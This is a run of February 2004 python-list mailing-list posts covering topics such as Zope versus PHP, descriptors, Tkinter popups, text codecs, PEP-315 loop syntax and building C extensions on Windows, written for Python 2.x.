Subject: Class for Time Series Data
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D72@opus.amorhq.net>

sdhyok wrote:
> Hi, I am trying to build up a system handling time series data a lot.
> Do you know any well-designed python class specially for time 
> series data?
> Thanks in advance.

Daehyok,

Can you be more specific? Are you trying to generate a series of time
objects, or manage a series of time objects, or convert strings to time
objects, or what?

FuManChu



From wfolta at netmail.to  Mon Feb  9 16:30:03 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Mon, 9 Feb 2004 16:30:03 -0500
Subject: Python Cookbook: I misunderstood
Message-ID: <1F772CB3-5B47-11D8-A1A1-000A959CB2EC@netmail.to>

Just a note for people who, like me, might misunderstand the idea of 
the Cookbook. I've seen such things in the past (for Perl, etc) and 
thought they were basically books of algorithms for people who didn't 
know how to do certain common programming tasks. So I just blew them 
off, since I've been programming for 20+ years.

But I got the Python Cookbook and have been very pleasantly surprised. 
A wonderful book. The recipes are more an exploration of the idioms of 
the language. Lots of great insights that would take a long time to 
discover on your own, during which time you might've ended up doing 
perl-ish (or lisp-ish, or C-ish) python.

They also address efficiencies and details in python which are 
independent of the algorithms themselves. (I.e. is map faster than 
comprehension, is python's sort stable, etc?)

A very fun read. Found a couple of typos so far, but they don't ruin 
anything. I was worried that they were not up to the latest python 
release, but they always mention 2.2 where appropriate, so that's fine.
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From konsu at hotmail.com  Sun Feb  1 14:39:40 2004
From: konsu at hotmail.com (konsu)
Date: Sun, 1 Feb 2004 11:39:40 -0800
Subject: Zope (was: Re: easiest transition for a PHP website to move to
	Python?)
References: <mailman.1023.1075441969.12720.python-list@python.org>
	<6ee58e07.0401300555.12c07aa3@posting.google.com>
	<bvdvr6$96h$05$1@news.t-online.com>
	<6ee58e07.0401301702.42c759f8@posting.google.com>
Message-ID: <xJqdnVpM-cVmyIDdRVn-gw@kallback.com>

but the references given below discuss old versions of Zope! the latest Zope
seems to have overcome a lot of limitations listed (they now have SQL
connectivity, integration with other web servers, ZPT if DTML is
insufficient, etc).

I am not a Zope proponent by the way, I have just started looking at it, and
I am still trying to decide what to use: Zope, WebWare, or something else...

konstantin

"Lothar Scholz" <llothar at web.de> wrote in message
news:6ee58e07.0401301702.42c759f8 at posting.google.com...
> "Diez B. Roggisch" <deets_noospaam at web.de> wrote in message
news:<bvdvr6$96h$05$1 at news.t-online.com>...
>
> > Where exactly is zope not "real" python? Just because it features two
> > templating-methods that are for good reasons _not_ python embedded into
> > html, its still a python webapp server.
>
> > I never used webware, so I can't compare both, but from what I see it
> > appears to me like tomcat (or maybe jboss) the python way. No problem
with
> > that. But object-relational-mappers are a PITA if you _must_ use them.
ZODB
> > oth is much more of a object-orientied (not relational, though)
database.
> > And thats what I love about it - simply create objects, and save them,
> > without the need for prior mapping to anything.
>
> Read this
>
> http://zope-is-evil-666.idyll.org/
> http://www.amk.ca/python/writing/why-not-zope.html
> http://pywx.idyll.org/advocacy/why-not-zope.html
>
> >
> > For purely content-driven websites, I haven't seen much better solutions
> > than ZOPE together with some modern CMS, like PLONE or ZMS.
>
> Only, as mentionend in other texts, if it is for simple content.
> Otherwise the ZOPE restrictions are quite strong.




From jepler80 at unpythonic.net  Mon Feb 23 15:48:04 2004
From: jepler80 at unpythonic.net (jepler80 at unpythonic.net)
Date: Mon, 23 Feb 2004 14:48:04 -0600
Subject: Gripe: Use Ctrl-D (i.e. EOF) to exit
In-Reply-To: <c1dms2$l8b$1@sea.gmane.org>
References: <c1dms2$l8b$1@sea.gmane.org>
Message-ID: <20040223204804.GC30887@unpythonic.net>

Here's another workaround (also in ~/.pythonrc):
	class Exiter:
	    def __repr__(self): raise SystemExit
	quit = exit = Exiter()

$ python
Python 2.2.2 (#1, Feb 24 2003, 19:13:11) 
[GCC 3.2.2 20030222 (Red Hat Linux 3.2.2-4)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> exit
$ 

Of course, *anything* that would print the repr of exit exits:
>>> globals()
$

This cure is worse than the disease, I think....

Jeff
PS I would never have considered making ^D do anything but send EOF in the
Python shell!  Even though I'm an avid vim user, I don't think I use ^D as
a motion in that program...



From mhammond at skippinet.com.au  Sat Feb  7 17:39:10 2004
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Sun, 08 Feb 2004 09:39:10 +1100
Subject: ANNOUNCE: Build 200 of the pywin32 extensions (win32all) available
Message-ID: <c03pel$19ts$1@arachne.labyrinth.net.au>

Hi all,
   I have released a new version of the win32all extensions.  I have 
also changed significantly the way I release them.

The significant changes to the build/release process are:
* These extensions are now built with distutils, and also distributed 
using the distutils builtin binary installer - WISE is no longer used. 
A huge thank-you to Thomas Heller for creating the initial distutils 
script and for guiding me along the way.

* There is now a single build number for all supported Python versions. 
  For example, the new build 200 is available for both Python 2.2 and 
Python 2.3 (whereas previously one build number applied only to a single 
Python version, even when the builds were otherwise identical)

* To mark this change in the way build numbers are managed, but to 
continue to re-inforce this is a build number rather than a "version 
number", the build number has jumped to 200.

* The installation name now reflects the SourceForge project name 
(pywin32), and I will slowly start refering to these extensions as 
either "the pywin32" or "the Python for Windows" extensions - the name 
'win32all' will slowly drop off (PendingDeprecationWarning anyone? <wink>)

* Thanks to distutils, a source distribution is also released.

The change-log and downloads are available via the project's SourceForge 
page:
	https://sourceforge.net/projects/pywin32

The direct link to the download page for this project is:
	https://sourceforge.net/project/showfiles.php?group_id=78018

All comments appreciated!

Regards,

Mark.



From mcfletch at rogers.com  Fri Feb 20 15:26:02 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Fri, 20 Feb 2004 15:26:02 -0500
Subject: Descriptors: why __get__(obj, typ=None) instead of __get__(obj,
	typ)
In-Reply-To: <m3d68ahsna.fsf@pc150.maths.bris.ac.uk>
References: <EudZb.31162$5W3.26333@nwrddc02.gnilink.net>
	<m3d68ahsna.fsf@pc150.maths.bris.ac.uk>
Message-ID: <40366D5A.3070903@rogers.com>

Michael Hudson wrote:

>Shalabh Chaturvedi <shalabh at cafepy.com> writes:
>  
>
...

>>Why is a default value needed for the second argument? In which case
>>does Python call a descriptor without a second argument?
>>    
>>
>
>It doesn't *look* like it does, ever.
>
>/However/ the wrapper for tp_descr_get (typeobject.c:wrap_descr_get)
>accepts 1 or 2 arguments translating an absent or None second argument
>to NULL, so if you want to behave like C-implemented descriptors,
>you'd better accept 1 or 2 arguments.  IOW, it's just part of the
>"descriptor protocol".
>
>As to *why* it's like this... erm, not sure about that.
>  
>
Possibly so that the interface is easier to use directly:

    for prop in obj.getProperties():
        try:
            prop.__get__( obj )
        except Exception:
           argh()

Most of the time the class argument is unused (for simple property-like 
code, anyway), so why not let people omit it when calling directly.  
Seems like a good design choice to me.

Enjoy,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From hoi.wai at alumni.ust.hk  Thu Feb 19 09:36:55 2004
From: hoi.wai at alumni.ust.hk (Calvin FONG)
Date: Thu, 19 Feb 2004 22:36:55 +0800
Subject: Creating Self Extracting Zip using Python
In-Reply-To: <40339F0E.EB357502@engcorp.com>
References: <c0qc5j$2g52$1@news.hgc.com.hk>
	<c0r3k0$qo1$1@news3.tilbu1.nb.home.nl>
	<c0tdvf$rnt$1@news.hgc.com.hk> <40323853.1704B48@engcorp.com>
	<adednY5lv5NHR6_dRVn-vw@comcast.com>
	<40339F0E.EB357502@engcorp.com>
Message-ID: <c12irr$9d5$1@news.hgc.com.hk>

Peter Hansen wrote:
> DH wrote:
> 
>>Peter Hansen wrote:
>>
>>
>>>Calvin FONG wrote:
>>>
>>>
>>>>By the way, what does HTH stands for?
>>>
>>>
>>>Google is your friend, as usual. :-)
>>>
>>>http://www.google.ca/search?q=acronym+hth
>>
>>TANSTASQ
>>
>>I know people get their rocks off here patronizing newbies, but how
>>about pointing them to the tutor list instead?
> 
> 
> How would that have helped?  Does the "tutor list" have a service
> for answering questions about what commonly used acronyms mean?
> I wasn't aware of that...
> 
> By the way, "patronizing" has a primary meaning of "to act as a 
> patron towards; to support; to aid", so I'll take your comment
> as a compliment.  (And thank you!)
> 
> Also, having checked the meanings of "stupid" that I find on 
> the web, I would have to say that there *are* stupid 
> questions.  Stupid can be "very dull, insensible" and "resulting
> from stupidity; formed without skill or genius".  I thought the 
> question was more lazy or just indicating of inexperience than
> stupid, though.
> 
> Calvin, is very likely neither stupid nor lazy, but just new, 
> and he didn't think to use Google.  I gave a helpful pointer to 
> it and, after a few more such incidents occur, he'll likely turn 
> to it first in the future.  (I'm sure we all went through periods 
> where we didn't think of Google first for such things.  I know 
> mine lasted several years!)
> 
> Lastly, why not try helping newbies or others from time to time
> yourself, instead of simply criticizing those who do?
> 
> -Peter
Thz, Peter, I'm new and I just need some guidance.
Thank you for your support.
-Calvin


From __peter__ at web.de  Thu Feb 26 06:19:01 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 26 Feb 2004 12:19:01 +0100
Subject: Tkinter: closing a popup menu by clicking elsewhere
Message-ID: <c1kkni$vhq$04$1@news.t-online.com>

How can I close a popup menu in Tkinter by clicking elsewhere on the
toplevel window underneath? 

I tried popup.grab_set() but this causes the popup to close immediately.

An alternative would be 

def hidepopup(event=None):
    popup.unpost()
    return "break"

root.bind_all("<Button-1>", hidepopup)

but I'd then need a way to make sure that other bindings in children are not
processed or only processed after hidepopup. 

Any hints welcome,
Peter


From andrew-pythonlist at puzzling.org  Tue Feb 24 20:33:38 2004
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Wed, 25 Feb 2004 12:33:38 +1100
Subject: Python HTML Documentation Generators
In-Reply-To: <c1fsv5$2of$1@news-int2.gatech.edu>
References: <c1fsv5$2of$1@news-int2.gatech.edu>
Message-ID: <20040225013338.GB4898@frobozz>

On Tue, Feb 24, 2004 at 11:09:08AM -0500, Mikey At Work wrote:
> I'm looking for opinions on the several HTML documentation generators
[...]
> 
> I've pretty much narrowed it to either PythonDoc or epydoc, but wanted to
> ask the newsgroup's opinion before making a final decision.  Any experiences
> (good or bad) with either of these programs?  What are your opinions on

I've used epydoc (or rather, the Twisted project <http://twistedmatrix.com/>
uses it), and have no major complaints.  I've never used PythonDoc.

> documentation through docstrings vs documentation through comments?  Thanks
> in advance.

Docstrings are documentation intended for users of the module, class or
function that the docstring is documenting.  Comments are notes to future
implementors and maintainers about how piece of code works.  Roughly
speaking, docstrings are public, and comments are private.

-Andrew.




From __peter__ at web.de  Mon Feb 23 04:42:56 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 23 Feb 2004 10:42:56 +0100
Subject: Changing the default text codec
References: <8089854e.0402230050.145a8c94@posting.google.com>
Message-ID: <c1chv0$85i$07$1@news.t-online.com>

Fuzzyman wrote:

> Sorry if my terminology is wrong..... but I'm having intermittent
> problems dealing with accented characters in python. (Only from the 8
> bit latin-1 character set I think..)
> 
> I've written an anagram finder that produces anagrams from a
> dictionary of words. The user can load their own dictionary.
>  
> ( http://www.voidspace.org.uk/atlantibots/nanagram.html )
> 
> It's particularly difficult for me to understand what is happening -
> because python's behaviour *seems* intermittent.
> 
> For example - if I run my program from IDLE and give it the word
> 'degr?' (containing e-acute) then I get the error :
> 
> Exception in Tkinter callback
> Traceback (most recent call last):
> [snip..]
>   File "D:\Python Projects\Nanagram1.3\Nanagram-GUI.pyw", line 123, in
> prepare
>     if letter in self.valid_letters:
> UnicodeDecodeError: 'ascii' codec can't decode byte 0x83 in position
> 26: ordinal not in range(128)
> Traceback (most recent call last):
> 
> It is testing each character of the users input to remove invalid
> characters (like "-" and "'")...  It crashes when it comes tot he
> e-acute.
> 
> 
> *However* - If I run it by double clicking on the file then it appears
> to work fine (e.g. if I ask it find anagrams of 'degr? hello ma' then
> it strips out the e-acute (thinking it's an invalid character) and
> finds anagrams of the rest :
> 
> gleam holder
> hallo merged
> 
> What I'd like to do is switch by default to an 8 bit codec (latin-1 I
> think ?????) and then offer the user the choice of either mapping the
> accented characters to their nearest equivalent (e-acute to e for
> example) *or* treating them as seperate characters.............
> 
> 
> I can't work out how to change the default codec (no matter what the
> locale) ?
> 
> Anyone able to help - or point me to a useful resource ?? (I've tried
> google - b4 u suggest it )

You can either explicitly convert your unicode strings:

unicodeword.encode("latin-1")

or try to modify your site.py from the default

encoding = "ascii"

to 

encoding = "latin-1"

Peter




From newsgroups at jhrothjr.com  Wed Feb 25 17:57:59 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Wed, 25 Feb 2004 17:57:59 -0500
Subject: How does Ruby compare to Python?? How good is DESIGN of Ruby
	compared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
	<slrnc3ob0q.i6n.joe@gate.notcharles.ca>
Message-ID: <103qa59gj6h57f8@news.supernews.com>


"Joe Mason" <joe at notcharles.ca> wrote in message
news:slrnc3ob0q.i6n.joe at gate.notcharles.ca...
> In article <c1h1sb$1it26i$1 at ID-169208.news.uni-berlin.de>, Greg Ewing
(using news.cis.dfn.de) wrote:
>
> > * In Python, functions are first-class, and
> > methods are implemented in terms of functions. In Ruby,
> > methods are the fundamental concept, and there are no
> > first-class functions. The result is that Python lets
> > you obtain a bound method from an object and use it like
> > any other function. You can't do that in Ruby. You can
> > get a method object in Ruby, but you can't call it using
> > normal calling syntax.
>
> I don't see the distinction.  "normal calling syntax" in ruby involves
> an object, so "unbound function" isn't a meaningful concept.  I mean, if
> you get a method the begins with the self parameter, you still need an
> object to call it, right?  Even if you're calling it as "foo(obj,
> params)" instead of "obj.foo(params)".  I don't see what the ability to
> use the other syntax gets you, except the ability to pass functions
> around independantly of objects, which I'm pretty sure you can do with
> methods in Ruby anyway.

I think you've missed the point here. Python has a concept
of a "callable," that is, some object that can be called. Bound
methods are useful precisely because they carry their instance
around with them and also because they look exactly like any
other callable; there is no special syntax that is required either
to create one or to invoke it.

Unbound methods, on the other hand, require the caller to provide
the instance explicitly which limits their usefulness quite a bit.

John Roth
>
> Joe




From usenet at -OBFUSCATED-joefrancia.com  Sun Feb  8 15:56:54 2004
From: usenet at -OBFUSCATED-joefrancia.com (Joe Francia)
Date: Sun, 08 Feb 2004 20:56:54 GMT
Subject: Extended slice notation doesn't recognise integer
In-Reply-To: <pan.2004.02.08.20.20.46.250645@shaw.ca>
References: <pan.2004.02.08.20.20.46.250645@shaw.ca>
Message-ID: <qoxVb.6891173$be.1139041@news.easynews.com>

Thomas Covello wrote:
> Why does the following code give this error:
> 
>>>>[0, 1, 2, 3, 4][::2]
> 
> TypeError: sequence index must be integer

This is what I get:

 >>> [0, 1, 2, 3, 4][::2]
[0, 2, 4]

Are you using 2.3.x?  I believe extended slices didn't show up until 2.3.


From bdesth.quelquechose at free.quelquepart.fr  Sun Feb 29 18:01:48 2004
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Mon, 01 Mar 2004 00:01:48 +0100
Subject: Python as replacement for PHP?
In-Reply-To: <c1qk0j$9o5$1@solaris.cc.vt.edu>
References: <403fa54b@news.zianet.com> <c1obji$8m9$1@solaris.cc.vt.edu>
	<40408c29$0$2435$626a14ce@news.free.fr>
	<c1qk0j$9o5$1@solaris.cc.vt.edu>
Message-ID: <404269dc$0$21674$636a15ce@news.free.fr>

Bart Nessux wrote:
>>Bart, could you please back your (strong) assertions with at least one
>>argument ?
>>
>>AFAIK, there is a whole lot of python tools for web developpement
> 
> 
> The OP was comparing Python to PHP, not ZOPE to PHP.
Neither was I. There are *many* much more web developpement tools in 
Python than just Zope.

> PHP by itself is a
> natural Web programming language, Python is not. 

<lol>
How should I understand 'natural' in this context ?
</lol>

More seriously : what does 'natural Web programming language' means ?

> Google for dynamic DB
> driven programming tools... how may PHP returns vs Python returns are
> there?

And ? How does this make Python, I quote : "not even close to being 
suited for this task."

> 
>>The only points I see in favor of PHP are :
>>- it's a de facto standard, widely used, widely available, and well
>>established
> 
> 
> That's exactly right. That's my point. I meant nothing more.

Ho yes you meant more. I still wait for any serious argument to back 
your claims that "Python is not even close to being suited for this 
task." and that "considering another language " (than PHP) "for this, 
(...) borders on stupidity".

Bruno



From __peter__ at web.de  Wed Feb 18 03:09:41 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 18 Feb 2004 09:09:41 +0100
Subject: Hiding/showing Tkinter.Canvas items
References: <c0sise$it8$04$1@news.t-online.com>
	<c0sl6p$ipc$1@news-reader5.wanadoo.fr>
Message-ID: <c0v6k5$a32$00$1@news.t-online.com>

Not what I had hoped for.

Thanks for the info,
Peter


From jcarlson at nospam.uci.edu  Sat Feb 21 13:30:48 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 21 Feb 2004 10:30:48 -0800
Subject: Strange (for a newbie) problem
In-Reply-To: <mailman.142.1077383087.27104.python-list@python.org>
References: <mailman.142.1077383087.27104.python-list@python.org>
Message-ID: <c1889j$lum$2@news.service.uci.edu>

> I'm experiencing the following problem. 
> I have a python script analyses.py where a certain point I have to
> define a variable called 'code' like:
> 
> code=151
> 
> The program works fine but if I change that line in 'code=sys.argv[1]'
> using the sys module in order to give to the program that code as a
> parameter (i.e. I then run this script as "python analyses.py 151" from
> the shell) then the program returns an error complaining that a certain
> variable different from code is not defined.
> 
> What is my mistake?

Depending on where 'code = sys.argv[1]' is placed, this could be your 
problem.

Another thing to note is that everything in sys.argv is a string.  Try 
using the following:

code = 151
if len(sys.argv) > 1:
     try:
         code = int(sys.argv[1])
     except:
         pass


  - Josiah




From claird at lairds.com  Wed Feb 11 13:07:58 2004
From: claird at lairds.com (Cameron Laird)
Date: Wed, 11 Feb 2004 18:07:58 -0000
Subject: Accessing external file output from script?
References: <40299803$0$41295$a1866201@newsreader.visi.com>
Message-ID: <102krru3gfkbs09@corp.supernews.com>

In article <40299803$0$41295$a1866201 at newsreader.visi.com>,
PWR  <cyrat at frontiernet.net> wrote:
>Platform: Windows
>Python: 2.3
>Python Skill: Reading, Learning, but still newbie.
>
>Mission:  My mission is writing a script that is triggered from my mail 
>server.  The script will execute and download a file.  The email that 
>triggered the message has a file size which is compared to the 
>downloaded file to make sure the bytes match.  Once that is accomplished 
>there is a small program (.exe) that I can run against the file.  The 
>.exe has two outputs...
>
>If the file that was downloaded is intact is returns nothing
>
>If the file is damaged or not correct it returned ERROR_XXX
>
>Those are the only things it will return.
>
>Is there a way to call this program to run from my script and then 
>parse? the output to see if either state is returned?
>
>The good news is the script runs and does everything but the external 
>file check (woo) so I am making progress.
			.
			.
			.
I believe you are saying that you want to know a Python idiom
for launching an external application (MY_SMALL_PROGRAM.exe?),
perhaps with a command-line argument or two, and collect its
result back into a Python variable for subsequent processing.
Is that correct?  What does "return" mean to you in this con-
text?  Are you saying that MY_SMALL_PROGRAM.exe puts specific
output such as "ERROR_XXX" to its stdout (or stderr?), or is
your focus on the process's exit status?

I suspect you'll end up reading <URL:
http://python.org/doc/current/lib/module-popen2.html >.

Question for the audience:  what are the impediments to making
<URL: http://python.org/doc/current/lib/module-commands.html >
available for Windows?
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From corey.coughlin at attbi.com  Wed Feb 18 14:48:33 2004
From: corey.coughlin at attbi.com (Corey Coughlin)
Date: 18 Feb 2004 11:48:33 -0800
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<mailman.86.1077050210.31398.python-list@python.org>
Message-ID: <a8623416.0402181148.20865556@posting.google.com>

It is a difficult problem, but I don't think it's completely
insurmountable.  Take some programmers right out of school, or just a
general population of people, give them training in language X for a
fixed period of time, set them up to perform some task, and see how
long it takes them.  Sure, some of them will be better programmers
than others, but with a large enough sample population you should be
able to draw some conclusions on the average, if there is an effect to
be measured.  And yes, the bigger the population, the better the
results, so it would be fairly expensive to conduct, but still, you
could draw conclusions.  Getting funding would be tricky, though,
that's a given.




Paul Prescod <paul at prescod.net> wrote in message news:<mailman.86.1077050210.31398.python-list at python.org>...
> kbass wrote:
> 
> > In different articles that I have read, persons have constantly eluded to
> > the productivity gains of Python. One person stated that Python's
> > productivity gain was 5 to 10 times over Java in some in some cases. The
> > strange thing that I have noticed is that there were no examples of this
> > productivity gain (i.e., projects, programs, etc.,...).  Can someone give me
> > some real life examples of productivity gains using Python as opposed other
> > programming languages.
> 
> The problem is always: how do you measure/judge this?
> 
> Are you going to get the SAME PROGRAMMERS to solve the same problem 
> twice? If so, the second language will have a big advantage. Are you 
> going to get different programmers? How do you know they are the same skill?
> 
> Also: productivity for what? If your Java code is a little bit of glue 
> around some pre-existing EJBs then it may have an advantage. If you are 
> using Python and Pyrex to wrap C code, then Python will certainly have 
> an advantage.
> 
> Most Python programmers are speaking about their personal productivity 
> gain measured based on "feel". It is possible to do a more formal study 
> (dozens of programmers given a variety of tasks) but it would be quite 
> expensive. What unbiased source is going to pay for it.
> 
>   Paul Prescod


From mwilson at the-wire.com  Sat Feb 28 10:40:30 2004
From: mwilson at the-wire.com (Mel Wilson)
Date: Sat, 28 Feb 2004 10:40:30 -0500
Subject: Please hear my plea: print without softspace
References: <4041796c.2181078@news.muenster.de>
	<dca1dc79fa2d9efd5bb586b079d4db53.46955@mygate.mailgate.org>
	<9nrc43idsjh1.7af9ozuv2nc7$.dlg@40tude.net>
Message-ID: <uZLQAls/KPlW089yn@the-wire.com>

In article <9nrc43idsjh1.7af9ozuv2nc7$.dlg at 40tude.net>,
Valentino Volonghi aka Dialtone <dialton3.NOSPAM_ at virgilio.it> wrote:
>In data Sat, 28 Feb 2004 12:01:40 +0000 (UTC), Carmine Noviello ha
>scritto:
>
>> def pprint(*args):
>>     txt = ""
>>     for a in args:
>>        txt += str(a)
>>     print txt
>>
>> Is it ok?
>
>I would use this instead:
>
>def pprint(*args):
>    txt = []
>    for a in args:
>        txt.append(a)
>    print ''.join(txt)
>
>which is a lot faster :)

Sorry.

Python 2.3 (#46, Jul 29 2003, 18:54:32) [MSC v.1200 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> def pprint(*args):
...     txt = []
...     for a in args:
...         txt.append(a)
...     print ''.join(txt)
...
>>> pprint (1,2,3)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 5, in pprint
TypeError: sequence item 0: expected string, int found



def pprint (*args):
    print ''.join ([str(x) for x in args])



        Regards.        Mel.


From fumanchu at amor.org  Mon Feb 23 12:35:35 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Mon, 23 Feb 2004 09:35:35 -0800
Subject: how to find a function definition using AST
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D93@opus.amorhq.net>

I wrote but couldn't finish (frickin Outlook):

> Also, note that a CallFunc Node obtains a set of attributes 
> which other
> Nodes don't have:

class CallFunc(Node):
    nodes["callfunc"] = "CallFunc"
    def __init__(self, node, args, star_args = None, dstar_args = None):
        self.node = node
        self.args = args
        self.star_args = star_args
        self.dstar_args = dstar_args


Hope that helps!


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From rosenfel at informatik.hu-berlin.de  Sun Feb  1 19:42:05 2004
From: rosenfel at informatik.hu-berlin.de (Viktor Rosenfeld)
Date: Mon, 02 Feb 2004 01:42:05 +0100
Subject: F: How can I make re.sub() replace patterns across newlines
Message-ID: <bvk6dr$sumlg$1@ID-212335.news.uni-berlin.de>

Hi,

I want to strip a JAVA file of /* */ like comments.  Unfortunately, the
simple regexp "\/\*.*\*\/" only works on comments, that are on one line. 
Is there a simple way to remove comments that go across several lines with
python regexp's?  I tried re.M to no avail.

Thanks,
Viktor


From newsgroups at jhrothjr.com  Tue Feb 17 07:15:34 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Tue, 17 Feb 2004 07:15:34 -0500
Subject: PEP-315 ("do" loop)
References: <mailman.55.1076984559.31398.python-list@python.org>
Message-ID: <10341ha7te8bpb8@news.supernews.com>


"Wayne Folta" <wfolta at netmail.to> wrote in message
news:mailman.55.1076984559.31398.python-list at python.org...
Two observations about PEP-315:

1. It's clever, addresses a definite "wart", and is syntactically similar to
try/except. But it's syntax seems like an acquired taste to me.

2. It is a very general construct, which might be what is called for. But I
wonder if most of the time it would be used to accomplish something like:

while 1:
    line = sys.stdin.readline()
    if line == "\n":
        break

In a neater way? How about, instead, creating an "until" loop:

until line == "\n":
    line = sys.stdin.readline()

Would be defined to work exactly like a while loop except the test is not
evaluated the first time through the loop. Wouldn't this be akin to checking
at the end of the loop, while maintaining a more while-ish syntax?

Is this at all useful or is something of the order of PEP-315 the way to go?

[response]

1. I've reindented your examples - they don't indent properly under some
browser.

2. Please use plain text - the reason your message isn't quoted properly is
that you used something else, and my news client breaks the formatting.

Now to the substantive responses.

1. The proposed syntax breaks Python's indentation scheme in a manner that
try-except, for-else, while-else, and if-elif-else do not.

2. What I find more serious is that there are a huge number of ways to go in
"improving" the basic while loop, none of which seem to be a natural
stopping point. Python's philosophy seems to be to find the "sweet spot"
where you gain the most leverage with the minimum amount of mechanism.
Neither PEP-315 nor any of the "improvements" I've seen do that.

John Roth




From fpetermaas at netscape.net  Fri Feb 20 03:39:55 2004
From: fpetermaas at netscape.net (Peter Maas)
Date: Fri, 20 Feb 2004 09:39:55 +0100
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
In-Reply-To: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <c14h3s$o2a$1@swifty.westend.com>

The do block is no safeguard against copy errors because it's optional.
A comment saves the same purpose. Replace

do:
     init()
while cond():
     body()

by

# init while
init()
while cond():
     body()


PEP-0315 shouldn't be added to Python.

Mit freundlichen Gruessen,

Peter Maas

-- 
-------------------------------------------------------------------
Peter Maas, M+R Infosysteme, D-52070 Aachen, Hubert-Wienen-Str. 24
Tel +49-241-93878-0 Fax +49-241-93878-20 eMail peter.maas at mplusr.de
-------------------------------------------------------------------


From mlh at furu.idi.ntnu.no  Sun Feb 15 19:01:07 2004
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Mon, 16 Feb 2004 00:01:07 +0000 (UTC)
Subject: [ANN] Atox 0.2 released
References: <slrnc2qk2c.9li.mlh@furu.idi.ntnu.no>
	<2c60f0e0.0402141444.3d0b785f@posting.google.com>
	<slrnc2vqsu.41h.mlh@furu.idi.ntnu.no>
Message-ID: <slrnc30223.klq.mlh@furu.idi.ntnu.no>

In article <slrnc2vqsu.41h.mlh at furu.idi.ntnu.no>, Magnus Lie Hetland wrote:
>In article <2c60f0e0.0402141444.3d0b785f at posting.google.com>, Richard
>James wrote:
[snip]

Just an addendum about your suggested rating system -- it may well be
a good idea. Or at least some description of the level of support
(whether it be in the form of a formal rating or not). I guess few
projects could give any guarantees about the future, but a useful
description might be useful still.

Regarding Atox and Anygui: I have queried the Anygui developers, and
we'll see if it's realistic to get a 0.2 version out soon (even
though, I take it, you no longer have any need for that). In either
case, I have updated the message on anygui.org so it now clearly
states that it is unclear when (and if) there will be another release.

As for Atox, atox.sf.net (and the documentation and the future release
announcements) now contain the following message:

  Small print: Atox comes with no warranty of any kind. Also, even
  though the current version works well, and the project is currently
  (as per early 2004) being actively developed, there is no guarantee
  of continued support. What you see is what you get.

This is the way it has to be, as I am not paid to work on this and
have limited time (and, sadly, no time machine). Hopefully, the
explicit message will prevent anyone from being mislead in any way.

 - Magnus (not very enthusiastic about open source development at the
   moment)

-- 
Magnus Lie Hetland           "The mind is not a vessel to be filled,
http://hetland.org            but a fire to be lighted."  [Plutarch]


From nospam-deets at web.de  Tue Feb  3 07:17:49 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Tue, 03 Feb 2004 13:17:49 +0100
Subject: Newbie import probelm..
References: <ff36431bb1a38e64e5fa583bf7be2715@localhost.talkaboutprogramming.com>
Message-ID: <bvo3gs$usj3t$1@ID-111250.news.uni-berlin.de>

>>>> import invoker
>>>> x=invoker()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> TypeError: 'module' object is not callable
>>>>

Try 

x=invoker.invoker()

The thing is that you declared the _class_ invoker in a file also invoker.
That makes 

import invoker

create a module named invoker, where all the things defined in invoker.py
are located. Try

>>>import invoker
>>>dir(invoker)

Regards,

Diez


From peter at engcorp.com  Mon Feb 23 14:46:38 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 23 Feb 2004 14:46:38 -0500
Subject: Case sensitive file names
References: <mailman.185.1077503065.27104.python-list@python.org>
	<b4a8ffb6.0402231041.40dd5c9d@posting.google.com>
Message-ID: <403A589E.6F21A7FC@engcorp.com>

Thomas Philips wrote:
> 
> Thanks for all the help, everyone - the raw string solution seems the
> most practical, and it raises one final question: If I define a string
> x = "c:\python23\programs\test.txt"
> 
> How can I force open() or file() to treat it as a raw string. I expect
> to use a command of the form
> open(rx) or open(r"x") or open("r"+x)
> but none of these forms work.

You cannot.  You must specify the r at the time you define the string 
constant, because it is *during compilation* that the various escape
sequences are translated into ASCII control characters.  In your 
above example, by the time you've bound the name x to your string data,
you already have a TAB character where you don't want it. 

-Peter


From seberino at spawar.navy.mil  Wed Feb 11 13:18:41 2004
From: seberino at spawar.navy.mil (Christian Seberino)
Date: 11 Feb 2004 10:18:41 -0800
Subject: c extension works in Linux but not Windows==>?? ImportError:
	dynamic module does not define init function (initpeak_load)
Message-ID: <bf23f78f.0402111018.32b8dd6d@posting.google.com>

I created a C extension that works in Linux great.

I tried to make a DLL of it and got an error that didn't happen in Linux...

>>> import peak_load
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
ImportError: dynamic module does not define init function (initpeak_load)

I can see initpeak_load in my C code!!! Linux can see it!!!

What is wrong with my DLL making skills that causes this problem??

Chris


